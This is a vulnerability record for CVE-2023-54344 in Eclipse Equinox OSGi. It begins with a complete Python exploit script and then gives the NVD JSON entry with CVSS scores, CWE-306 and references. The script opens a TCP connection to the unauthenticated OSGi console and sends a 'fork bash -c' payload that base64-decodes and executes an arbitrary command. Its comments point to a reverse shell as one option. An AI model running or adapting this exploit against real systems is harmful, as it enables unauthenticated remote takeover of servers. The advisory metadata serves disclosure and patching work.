CVE-2023-54344

import socket import base64 # Target configuration TARGET_HOST = "127.0.0.1" TARGET_PORT = 1717 # Default OSGi console port, may vary # The command to execute (e.g., creating a file or reverse shell) # Example: touch /tmp/pwned CMD = "touch /tmp/pwned" # Encode the command to Base64 as described in the vulnerability encoded_cmd = base64.b64encode(CMD.encode()).decode() # Construct the payload using the 'fork' directive # The payload wraps a bash command that decodes and executes the base64 string payload = f'fork bash -c "echo {encoded_cmd} | base64 -d | bash"' print(f"[*] Sending payload to {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Payload: {payload}") try: # Establish TCP connection to the OSGi console s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_HOST, TARGET_PORT)) # Send the malicious payload followed by a newline s.sendall(payload.encode() + b'\n') # Optional: Receive response to check if command was processed response = s.recv(1024) print("[+] Response received:") print(response.decode()) s.close() print("[+] Payload sent successfully.") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2023-54344", "sourceIdentifier": "[email protected]", "published": "2026-05-05T12:16:16.710", "lastModified": "2026-05-05T19:47:31.297", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Eclipse Equinox OSGi 3.7.2 and earlier contains a remote code execution vulnerability that allows unauthenticated attackers to execute arbitrary commands by sending payloads to the console interface. Attackers can connect to the OSGi console port and send base64-encoded bash commands wrapped in fork directives to achieve code execution and establish reverse shell connections."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/51879", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/eclipse-equinox-osgi-remote-code-execution-via-console", "source": "[email protected]"}]}}